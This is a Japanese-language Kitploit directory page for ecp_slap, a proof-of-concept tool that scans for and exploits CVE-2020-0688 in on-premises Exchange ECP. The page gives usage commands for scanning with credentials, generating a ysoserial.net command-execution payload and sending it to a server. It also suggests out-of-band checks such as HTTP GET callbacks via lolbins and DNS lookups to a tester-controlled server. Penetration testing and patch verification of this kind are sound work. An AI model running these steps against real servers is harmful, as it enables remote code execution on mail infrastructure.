Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ecp_slap — CVE-2020-0688 PoC | Kitploit
ツール/GitHubGitHub/zyn3rgy/ecp_slap
偵察ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubzyn3rgy/ecp_slap

ecp_slap

CVE-2020-0688 PoC

リポジトリを見る
1111年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ecp_slap

これは、脆弱なオンプレミス Exchange インスタンスのスキャンと悪用のための機能を含む、CVE-2020-0688 の概念実証コードです。

使用方法

scan - 悪用に必要な Cookie を取得するために資格情報とターゲット情報を指定し、それらを cookies.txt に保存します。また、対象の Exchange サーバーで Exchange Control Panel (ECP) サービスが公開されているかどうかを確認し、このサービスへの認証を試み、適切な VIEWSTATEGENERATOR 値と一致するかどうかをチェックします。認証に成功すると、シリアライズされたペイロード作成用のセッション Cookie 値が出力されます。

generate - scan 機能で取得したセッション Cookie 値と、コード実行のためのコマンドを指定します。これにより、ysoserial.net 用に入力を整形し、コード実行用のシリアライズされたペイロードを生成します。ysoserial の出力を payload.txt などのファイルに保存してください。

exploit - scan 機能を使用して認証に成功した際に取得した Cookie ファイルを入力として受け取り、ペイロードファイルの内容を URL エンコードします。このエクスプロイトは、適切な認証済みリクエストを実行して、脆弱なオンプレミス Exchange インスタンスに対するコード実行を引き起こします。

root@kitploit:~
$./ecp_slap
scan - Scan an Exchange host and obtain cookies needed for exploitation:
./ecp_slap scan -t 10.1.1.5 -d corp.local -u admin -p badpassword 
./ecp_slap scan -t mail.corp.com -d CORP -u admin -p badpassword 

generate - Generate the ysoserial.net command for payload creation:
./ecp_slap generate -s [ASP.NET_SessionId] -c [COMMAND]
./ecp_slap generate -s 81c35474-6a73-4a1c-af45-b3985e7d7ad1 -c "echo test > C:/temp/test.txt"

exploit - Exploitation of a vulnerable Exchange server:
./ecp_slap exploit -t 192.168.5.22 -c cookies.txt -p payload.txt
./ecp_slap exploit -t mail.corp.com -c cookies.txt -p payload.txt

悪用に関する注意事項

悪用しようとしているオンプレミス Exchange のバージョンについて、以下を確認したにもかかわらず:

  1. テストしている内部または外部ネットワークの視点から ECP 認証が公開されている
  2. 保持している資格情報が ECP に特化してアクセスできる (https://mail.corp.com/ecp)
  3. 脆弱なビルド番号である

しかし、それでもコード実行の成功を確認できない場合は、コード実行が機能しているかどうかを評価するために、以下のような簡単なコマンドの実行を検討してください:

  • lolbin を使用して自分のマシンに HTTP GET リクエストを送信する
  • 自分が管理する権威 DNS サーバーに対して nslookup で DNS クエリを実行する
  • ping を実行し、ICMP を監視する

脆弱性の手動検証と悪用

まず、MSRC セキュリティアドバイザリ から始めてください。そこには、オンプレミス Exchange のパッチと脆弱なバージョンに関する詳細が含まれています。Microsoft の Exchange ビルド番号 とパッチを相互参照すると、脆弱性の判定に役立ちます。

この脆弱性の悪用を手動で再現するには、素晴らしい ZDI の解説記事 に従ってください。

GoLang のセットアップとコンパイル

ソースからこのプロジェクトをコンパイルする場合は、コンパイル済みリリース を取得する代わりに、Go 環境のセットアップは多くの場合、GoLang をインストールして適切な環境変数を設定するだけで簡単に行えます。その手順はこちらに文書化されています。

今後の予定

  • scan - 認証済みの Exchange ビルド番号を考慮する機能を追加する
  • scan & exploit - 標準外のオンプレミス Exchange 認証における潜在的な NTLMSSP を考慮する
    • コードは作成済み。この場合に異なる方法でチェックおよび認証を行うロジックを追加する必要がある

クレジット

  • Simon Zuckerbraun / ZDI - このエクスプロイトの仕組みと、実際の悪用がいかに簡単であるかを説明した素晴らしい 解説記事 に対して
  • actuated - スクリプト作成中のトラブルシューティング、ブレインストーミング、および質問への回答に対して
ツールをダウンロード